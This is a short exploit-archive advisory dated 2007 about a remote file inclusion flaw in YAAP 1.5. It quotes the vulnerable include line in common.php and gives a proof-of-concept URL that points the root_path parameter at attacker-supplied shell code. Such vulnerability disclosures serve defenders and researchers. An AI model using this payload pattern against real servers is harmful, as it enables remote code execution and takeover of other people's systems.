[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : YAAP <= 1.5 __autoload() Remote File Inclusion Vulnerability
# Published : 2007-05-12
# Author : 3l3ctric-Cracker
# Previous Title : iG Shop 1.4 (page.php) Remote SQL Injection Vulnerability
# Next Title : Beacon 0.2.0 (splash.lang.php) Remote File Inclusion Vulnerability
--------------------------------------------------------------------------------
Script name.......:Yaap
Affected Version.....:1.5
D.page..:http://yaap.oskbraniewo.pl/download/yaap_15.tar.gz
--------------------------------------------------------------------------------
Author:3l3ctric-Cracker (Dr Max Virus) :D
Contact:drmaxvirus@w.cn
--------------------------------------------------------------------------------
Bug in:public_htmlincludescommon.php
Vul Code:
include_once($root_path.'/classes/'.$class_name.'.php');
----------------------------------------------------------------------------------
POC:
http:[target]/[path]/includes/common.php?root_path=ShellCode
-----------------------------------------------------------------------------------
# www.Syue.com [2007-05-12]